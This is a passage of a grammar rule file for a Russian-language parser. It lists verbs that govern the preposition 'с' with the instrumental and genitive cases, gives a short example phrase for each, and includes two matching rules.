rus_verbs:напуститься{}, // напуститься с кулаками
rus_verbs:сдружиться{}, // сдружиться с ребятами
rus_verbs:соперничать{}, // соперничать с параллельным классом
rus_verbs:прочесать{}, // прочесать с собаками
rus_verbs:кокетничать{}, // кокетничать с гимназистками
rus_verbs:мириться{}, // мириться с убытками
rus_verbs:оплошать{}, // оплошать с билетами
rus_verbs:отождествлять{}, // отождествлять с литературным героем
rus_verbs:хитрить{}, // хитрить с зарплатой
rus_verbs:провозиться{}, // провозиться с задачкой
rus_verbs:коротать{}, // коротать с друзьями
rus_verbs:соревноваться{}, // соревноваться с машиной
rus_verbs:уживаться{}, // уживаться с местными жителями
rus_verbs:отождествляться{}, // отождествляться с литературным героем
rus_verbs:сопоставить{}, // сопоставить с эталоном
rus_verbs:пьянствовать{}, // пьянствовать с друзьями
rus_verbs:залетать{}, // залетать с паленой водкой
rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой
rus_verbs:запаздывать{}, // запаздывать с кормлением
rus_verbs:таскаться{}, // таскаться с сумками
rus_verbs:контрастировать{}, // контрастировать с туфлями
rus_verbs:сшибиться{}, // сшибиться с форвардом
rus_verbs:состязаться{}, // состязаться с лучшей командой
rus_verbs:затрудниться{}, // затрудниться с объяснением
rus_verbs:объясниться{}, // объясниться с пострадавшими
rus_verbs:разводиться{}, // разводиться со сварливой женой
rus_verbs:препираться{}, // препираться с адвокатами
rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками
rus_verbs:свестись{}, // свестись с нулевым счетом
rus_verbs:обговорить{}, // обговорить с директором
rus_verbs:обвенчаться{}, // обвенчаться с ведьмой
rus_verbs:экспериментировать{}, // экспериментировать с генами
rus_verbs:сверять{}, // сверять с таблицей
rus_verbs:сверяться{}, // свериться с таблицей
rus_verbs:сблизить{}, // сблизить с точкой
rus_verbs:гармонировать{}, // гармонировать с обоями
rus_verbs:перемешивать{}, // перемешивать с молоком
rus_verbs:трепаться{}, // трепаться с сослуживцами
rus_verbs:перемигиваться{}, // перемигиваться с соседкой
rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем
rus_verbs:распить{}, // распить с собутыльниками
rus_verbs:скрестись{}, // скрестись с дикой лошадью
rus_verbs:передраться{}, // передраться с дворовыми собаками
rus_verbs:умыть{}, // умыть с мылом
rus_verbs:грызться{}, // грызться с соседями
rus_verbs:переругиваться{}, // переругиваться с соседями
rus_verbs:доиграться{}, // доиграться со спичками
rus_verbs:заладиться{}, // заладиться с подругой
rus_verbs:скрещиваться{}, // скрещиваться с дикими видами
rus_verbs:повидаться{}, // повидаться с дедушкой
rus_verbs:повоевать{}, // повоевать с орками
rus_verbs:сразиться{}, // сразиться с лучшим рыцарем
rus_verbs:кипятить{}, // кипятить с отбеливателем
rus_verbs:усердствовать{}, // усердствовать с наказанием
rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером
rus_verbs:пошептаться{}, // пошептаться с судьями
rus_verbs:сравняться{}, // сравняться с лучшими экземплярами
rus_verbs:церемониться{}, // церемониться с пьяницами
rus_verbs:консультироваться{}, // консультироваться со специалистами
rus_verbs:переусердствовать{}, // переусердствовать с наказанием
rus_verbs:проноситься{}, // проноситься с собой
rus_verbs:перемешать{}, // перемешать с гипсом
rus_verbs:темнить{}, // темнить с долгами
rus_verbs:сталкивать{}, // сталкивать с черной дырой
rus_verbs:увольнять{}, // увольнять с волчьим билетом
rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным
rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами
rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт
rus_verbs:созвониться{}, // созвониться с мамой
rus_verbs:спеться{}, // спеться с отъявленными хулиганами
rus_verbs:интриговать{}, // интриговать с придворными
rus_verbs:приобрести{}, // приобрести со скидкой
rus_verbs:задержаться{}, // задержаться со сдачей работы
rus_verbs:плавать{}, // плавать со спасательным кругом
rus_verbs:якшаться{}, // Не якшайся с врагами
инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
инфинитив:ассоциировать{вид:несоверш},
глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
глагол:ассоциировать{вид:несоверш},
//+прилагательное:ассоциировавший{вид:несоверш},
прилагательное:ассоциировавший{вид:соверш},
прилагательное:ассоциирующий{},
деепричастие:ассоциируя{},
деепричастие:ассоциировав{},
rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем
rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов
rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов
//+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом
//+глагол:аффилировать{вид:соверш},
прилагательное:аффилированный{},
rus_verbs:баловаться{}, // мальчик баловался с молотком
rus_verbs:балясничать{}, // женщина балясничала с товарками
rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями
rus_verbs:бодаться{}, // теленок бодается с деревом
rus_verbs:боксировать{}, // Майкл дважды боксировал с ним
rus_verbs:брататься{}, // Солдаты братались с бойцами союзников
rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:происходить{}, // Что происходит с мировой экономикой?
rus_verbs:произойти{}, // Что произошло с экономикой?
rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами
rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями
rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:водиться{}, // Няня водится с детьми
rus_verbs:воевать{}, // Фермеры воевали с волками
rus_verbs:возиться{}, // Няня возится с детьми
rus_verbs:ворковать{}, // Голубь воркует с голубкой
rus_verbs:воссоединиться{}, // Дети воссоединились с семьей
rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей
rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой
rus_verbs:враждовать{}, // враждовать с соседями
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:расстаться{}, // я не могу расстаться с тобой
rus_verbs:выдирать{}, // выдирать с мясом
rus_verbs:выдираться{}, // выдираться с мясом
rus_verbs:вытворить{}, // вытворить что-либо с чем-либо
rus_verbs:вытворять{}, // вытворять что-либо с чем-либо
rus_verbs:сделать{}, // сделать с чем-то
rus_verbs:домыть{}, // домыть с мылом
rus_verbs:случиться{}, // случиться с кем-то
rus_verbs:остаться{}, // остаться с кем-то
rus_verbs:случать{}, // случать с породистым кобельком
rus_verbs:послать{}, // послать с весточкой
rus_verbs:работать{}, // работать с роботами
rus_verbs:провести{}, // провести с девчонками время
rus_verbs:заговорить{}, // заговорить с незнакомкой
rus_verbs:прошептать{}, // прошептать с придыханием
rus_verbs:читать{}, // читать с выражением
rus_verbs:слушать{}, // слушать с повышенным вниманием
rus_verbs:принести{}, // принести с собой
rus_verbs:спать{}, // спать с женщинами
rus_verbs:закончить{}, // закончить с приготовлениями
rus_verbs:помочь{}, // помочь с перестановкой
rus_verbs:уехать{}, // уехать с семьей
rus_verbs:случаться{}, // случаться с кем-то
rus_verbs:кутить{}, // кутить с проститутками
rus_verbs:разговаривать{}, // разговаривать с ребенком
rus_verbs:погодить{}, // погодить с ликвидацией
rus_verbs:считаться{}, // считаться с чужим мнением
rus_verbs:носить{}, // носить с собой
rus_verbs:хорошеть{}, // хорошеть с каждым днем
rus_verbs:приводить{}, // приводить с собой
rus_verbs:прыгнуть{}, // прыгнуть с парашютом
rus_verbs:петь{}, // петь с чувством
rus_verbs:сложить{}, // сложить с результатом
rus_verbs:познакомиться{}, // познакомиться с другими студентами
rus_verbs:обращаться{}, // обращаться с животными
rus_verbs:съесть{}, // съесть с хлебом
rus_verbs:ошибаться{}, // ошибаться с дозировкой
rus_verbs:столкнуться{}, // столкнуться с медведем
rus_verbs:справиться{}, // справиться с нуждой
rus_verbs:торопиться{}, // торопиться с ответом
rus_verbs:поздравлять{}, // поздравлять с победой
rus_verbs:объясняться{}, // объясняться с начальством
rus_verbs:пошутить{}, // пошутить с подругой
rus_verbs:поздороваться{}, // поздороваться с коллегами
rus_verbs:поступать{}, // Как поступать с таким поведением?
rus_verbs:определяться{}, // определяться с кандидатами
rus_verbs:связаться{}, // связаться с поставщиком
rus_verbs:спорить{}, // спорить с собеседником
rus_verbs:разобраться{}, // разобраться с делами
rus_verbs:ловить{}, // ловить с удочкой
rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос
rus_verbs:шутить{}, // шутить с диким зверем
rus_verbs:разорвать{}, // разорвать с поставщиком контракт
rus_verbs:увезти{}, // увезти с собой
rus_verbs:унести{}, // унести с собой
rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее
rus_verbs:складываться{}, // складываться с первым импульсом
rus_verbs:соглашаться{}, // соглашаться с предложенным договором
//rus_verbs:покончить{}, // покончить с развратом
rus_verbs:прихватить{}, // прихватить с собой
rus_verbs:похоронить{}, // похоронить с почестями
rus_verbs:связывать{}, // связывать с компанией свою судьбу
rus_verbs:совпадать{}, // совпадать с предсказанием
rus_verbs:танцевать{}, // танцевать с девушками
rus_verbs:поделиться{}, // поделиться с выжившими
rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате.
rus_verbs:беседовать{}, // преподаватель, беседующий со студентами
rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью
rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой
rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками
rus_verbs:поговорить{}, // поговорить с виновниками
rus_verbs:сказать{}, // сказать с трудом
rus_verbs:произнести{}, // произнести с трудом
rus_verbs:говорить{}, // говорить с акцентом
rus_verbs:произносить{}, // произносить с трудом
rus_verbs:встречаться{}, // кто с Антонио встречался?
rus_verbs:посидеть{}, // посидеть с друзьями
rus_verbs:расквитаться{}, // расквитаться с обидчиком
rus_verbs:поквитаться{}, // поквитаться с обидчиком
rus_verbs:ругаться{}, // ругаться с женой
rus_verbs:поскандалить{}, // поскандалить с женой
rus_verbs:потанцевать{}, // потанцевать с подругой
rus_verbs:скандалить{}, // скандалить с соседями
rus_verbs:разругаться{}, // разругаться с другом
rus_verbs:болтать{}, // болтать с подругами
rus_verbs:потрепаться{}, // потрепаться с соседкой
rus_verbs:войти{}, // войти с регистрацией
rus_verbs:входить{}, // входить с регистрацией
rus_verbs:возвращаться{}, // возвращаться с триумфом
rus_verbs:опоздать{}, // Он опоздал с подачей сочинения.
rus_verbs:молчать{}, // Он молчал с ледяным спокойствием.
rus_verbs:сражаться{}, // Он героически сражался с врагами.
rus_verbs:выходить{}, // Он всегда выходит с зонтиком.
rus_verbs:сличать{}, // сличать перевод с оригиналом
rus_verbs:начать{}, // я начал с товарищем спор о религии
rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки
rus_verbs:приходить{}, // Приходите с нею.
rus_verbs:жить{}, // кто с тобой жил?
rus_verbs:расходиться{}, // Маша расходится с Петей
rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой
rus_verbs:торговать{}, // мы торгуем с ними нефтью
rus_verbs:уединяться{}, // уединяться с подругой в доме
rus_verbs:уладить{}, // уладить конфликт с соседями
rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем.
rus_verbs:разделять{}, // Я разделяю с вами горе и радость.
rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи.
rus_verbs:захватить{}, // Я не захватил с собой денег.
прилагательное:знакомый{}, // Я знаком с ними обоими.
rus_verbs:вести{}, // Я веду с ней переписку.
прилагательное:сопряженный{}, // Это сопряжено с большими трудностями.
прилагательное:связанный{причастие}, // Это дело связано с риском.
rus_verbs:поехать{}, // Хотите поехать со мной в театр?
rus_verbs:проснуться{}, // Утром я проснулся с ясной головой.
rus_verbs:лететь{}, // Самолёт летел со скоростью звука.
rus_verbs:играть{}, // С огнём играть опасно!
rus_verbs:поделать{}, // С ним ничего не поделаешь.
rus_verbs:стрястись{}, // С ней стряслось несчастье.
rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием.
rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием.
rus_verbs:разойтись{}, // Она разошлась с мужем.
rus_verbs:пристать{}, // Она пристала ко мне с расспросами.
rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением.
rus_verbs:поступить{}, // Она плохо поступила с ним.
rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом.
rus_verbs:взять{}, // Возьмите с собой только самое необходимое.
rus_verbs:наплакаться{}, // Наплачется она с ним.
rus_verbs:лежать{}, // Он лежит с воспалением лёгких.
rus_verbs:дышать{}, // дышащий с трудом
rus_verbs:брать{}, // брать с собой
rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой.
rus_verbs:упасть{}, // Ваза упала со звоном.
rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком
rus_verbs:сидеть{}, // Она сидит дома с ребенком
rus_verbs:встретиться{}, // встречаться с кем-либо
ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом
ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{},
rus_verbs:мыть{}
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} }
then return true
}
#endregion ТВОРИТЕЛЬНЫЙ
#region РОДИТЕЛЬНЫЙ
wordentry_set Гл_С_Род=
{
rus_verbs:УХОДИТЬ{}, // Но с базы не уходить.
rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ)
rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ)
rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ)
rus_verbs:РАЗГЛЯДЕТЬ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ)
rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ)
rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ)
rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ)
rus_verbs:ЗАРЕВЕТЬ{}, //
rus_verbs:ПРОРЕВЕТЬ{}, //
rus_verbs:ЗАОРАТЬ{}, //
rus_verbs:ПРООРАТЬ{}, //
rus_verbs:ОРАТЬ{}, //
rus_verbs:ЗАКРИЧАТЬ{},
rus_verbs:ВОПИТЬ{}, //
rus_verbs:ЗАВОПИТЬ{}, //
rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ)
rus_verbs:СТАСКИВАТЬ{}, //
rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ)
rus_verbs:ЗАВЫТЬ{}, //
rus_verbs:ВЫТЬ{}, //
rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ)
rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:собирать{}, // мальчики начали собирать со столов посуду
rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал
rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ)
rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ)
rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ)
rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ)
rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ)
rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род)
rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род)
rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С)
rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С)
rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род)
rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С)
rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С)
rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С)
rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род)
rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род)
rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род)
rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род)
rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род)
rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С)
rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род)
rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род)
rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род)
rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род)
rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род)
rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род)
rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С)
rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род)
rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род)
rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род)
rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С)
rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С)
rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С)
прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С)
rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С)
rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род)
rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С)
rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с)
rus_verbs:спасть{}, // тяжесть спала с души. (спасть с)
rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С)
rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С)
rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С)
rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то)
rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С)
rus_verbs:приближаться{}, // со стороны острова приближалась лодка.
rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С)
rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с)
rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с)
rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С)
rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С)
rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С)
rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С)
rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С)
rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С)
rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С)
rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С)
rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С)
rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С)
rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с)
rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С)
rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с)
rus_verbs:вставать{}, // Он не встает с кровати. (вставать с)
rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с)
rus_verbs:причитаться{}, // С вас причитается 50 рублей.
rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки.
rus_verbs:сократить{}, // Его сократили со службы.
rus_verbs:поднять{}, // рука подняла с пола
rus_verbs:поднимать{},
rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни.
rus_verbs:полететь{}, // Мальчик полетел с лестницы.
rus_verbs:литься{}, // вода льется с неба
rus_verbs:натечь{}, // натечь с сапог
rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая
rus_verbs:съезжать{}, // съезжать с заявленной темы
rus_verbs:покатываться{}, // покатываться со смеху
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:сдирать{}, // сдирать с тела кожу
rus_verbs:соскальзывать{}, // соскальзывать с крючка
rus_verbs:сметать{}, // сметать с прилавков
rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки
rus_verbs:прокаркать{}, // прокаркать с ветки
rus_verbs:стряхивать{}, // стряхивать с одежды
rus_verbs:сваливаться{}, // сваливаться с лестницы
rus_verbs:слизнуть{}, // слизнуть с лица
rus_verbs:доставляться{}, // доставляться с фермы
rus_verbs:обступать{}, // обступать с двух сторон
rus_verbs:повскакивать{}, // повскакивать с мест
rus_verbs:обозревать{}, // обозревать с вершины
rus_verbs:слинять{}, // слинять с урока
rus_verbs:смывать{}, // смывать с лица
rus_verbs:спихнуть{}, // спихнуть со стола
rus_verbs:обозреть{}, // обозреть с вершины
rus_verbs:накупить{}, // накупить с рук
rus_verbs:схлынуть{}, // схлынуть с берега
rus_verbs:спикировать{}, // спикировать с километровой высоты
rus_verbs:уползти{}, // уползти с поля боя
rus_verbs:сбиваться{}, // сбиваться с пути
rus_verbs:отлучиться{}, // отлучиться с поста
rus_verbs:сигануть{}, // сигануть с крыши
rus_verbs:сместить{}, // сместить с поста
rus_verbs:списать{}, // списать с оригинального устройства
инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы
деепричастие:слетая{},
rus_verbs:напиваться{}, // напиваться с горя
rus_verbs:свесить{}, // свесить с крыши
rus_verbs:заполучить{}, // заполучить со склада
rus_verbs:спадать{}, // спадать с глаз
rus_verbs:стартовать{}, // стартовать с мыса
rus_verbs:спереть{}, // спереть со склада
rus_verbs:согнать{}, // согнать с живота
rus_verbs:скатываться{}, // скатываться со стога
rus_verbs:сняться{}, // сняться с выборов
rus_verbs:слезать{}, // слезать со стола
rus_verbs:деваться{}, // деваться с подводной лодки
rus_verbs:огласить{}, // огласить с трибуны
rus_verbs:красть{}, // красть со склада
rus_verbs:расширить{}, // расширить с торца
rus_verbs:угадывать{}, // угадывать с полуслова
rus_verbs:оскорбить{}, // оскорбить со сцены
rus_verbs:срывать{}, // срывать с головы
rus_verbs:сшибить{}, // сшибить с коня
rus_verbs:сбивать{}, // сбивать с одежды
rus_verbs:содрать{}, // содрать с посетителей
rus_verbs:столкнуть{}, // столкнуть с горы
rus_verbs:отряхнуть{}, // отряхнуть с одежды
rus_verbs:сбрасывать{}, // сбрасывать с борта
rus_verbs:расстреливать{}, // расстреливать с борта вертолета
rus_verbs:придти{}, // мать скоро придет с работы
rus_verbs:съехать{}, // Миша съехал с горки
rus_verbs:свисать{}, // свисать с веток
rus_verbs:стянуть{}, // стянуть с кровати
rus_verbs:скинуть{}, // скинуть снег с плеча
rus_verbs:загреметь{}, // загреметь со стула
rus_verbs:сыпаться{}, // сыпаться с неба
rus_verbs:стряхнуть{}, // стряхнуть с головы
rus_verbs:сползти{}, // сползти со стула
rus_verbs:стереть{}, // стереть с экрана
rus_verbs:прогнать{}, // прогнать с фермы
rus_verbs:смахнуть{}, // смахнуть со стола
rus_verbs:спускать{}, // спускать с поводка
rus_verbs:деться{}, // деться с подводной лодки
rus_verbs:сдернуть{}, // сдернуть с себя
rus_verbs:сдвинуться{}, // сдвинуться с места
rus_verbs:слететь{}, // слететь с катушек
rus_verbs:обступить{}, // обступить со всех сторон
rus_verbs:снести{}, // снести с плеч
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков
деепричастие:сбегая{}, прилагательное:сбегающий{},
// прилагательное:сбегавший{ вид:несоверш },
rus_verbs:запить{}, // запить с горя
rus_verbs:рубануть{}, // рубануть с плеча
rus_verbs:чертыхнуться{}, // чертыхнуться с досады
rus_verbs:срываться{}, // срываться с цепи
rus_verbs:смыться{}, // смыться с уроков
rus_verbs:похитить{}, // похитить со склада
rus_verbs:смести{}, // смести со своего пути
rus_verbs:отгружать{}, // отгружать со склада
rus_verbs:отгрузить{}, // отгрузить со склада
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя
rus_verbs:взиматься{}, // Плата взимается с любого посетителя
rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги
rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги
rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков
rus_verbs:вспархивать{}, // вспархивать с цветка
rus_verbs:вспорхнуть{}, // вспорхнуть с ветки
rus_verbs:выбросить{}, // выбросить что-то с балкона
rus_verbs:выводить{}, // выводить с одежды пятна
rus_verbs:снять{}, // снять с головы
rus_verbs:начинать{}, // начинать с эскиза
rus_verbs:двинуться{}, // двинуться с места
rus_verbs:начинаться{}, // начинаться с гардероба
rus_verbs:стечь{}, // стечь с крыши
rus_verbs:слезть{}, // слезть с кучи
rus_verbs:спуститься{}, // спуститься с крыши
rus_verbs:сойти{}, // сойти с пьедестала
rus_verbs:свернуть{}, // свернуть с пути
rus_verbs:сорвать{}, // сорвать с цепи
rus_verbs:сорваться{}, // сорваться с поводка
rus_verbs:тронуться{}, // тронуться с места
rus_verbs:угадать{}, // угадать с первой попытки
rus_verbs:спустить{}, // спустить с лестницы
rus_verbs:соскочить{}, // соскочить с крючка
rus_verbs:сдвинуть{}, // сдвинуть с места
rus_verbs:подниматься{}, // туман, поднимающийся с болота
rus_verbs:подняться{}, // туман, поднявшийся с болота
rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног.
rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног.
rus_verbs:донестись{}, // С улицы донесся шум дождя.
rus_verbs:опасть{}, // Опавшие с дерева листья.
rus_verbs:махнуть{}, // Он махнул с берега в воду.
rus_verbs:исчезнуть{}, // исчезнуть с экрана
rus_verbs:свалиться{}, // свалиться со сцены
rus_verbs:упасть{}, // упасть с дерева
rus_verbs:вернуться{}, // Он ещё не вернулся с работы.
rus_verbs:сдувать{}, // сдувать пух с одуванчиков
rus_verbs:свергать{}, // свергать царя с трона
rus_verbs:сбиться{}, // сбиться с пути
rus_verbs:стирать{}, // стирать тряпкой надпись с доски
rus_verbs:убирать{}, // убирать мусор c пола
rus_verbs:удалять{}, // удалять игрока с поля
rus_verbs:окружить{}, // Япония окружена со всех сторон морями.
rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение.
глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы.
прилагательное:спокойный{}, // С этой стороны я спокоен.
rus_verbs:спросить{}, // С тебя за всё спросят.
rus_verbs:течь{}, // С него течёт пот.
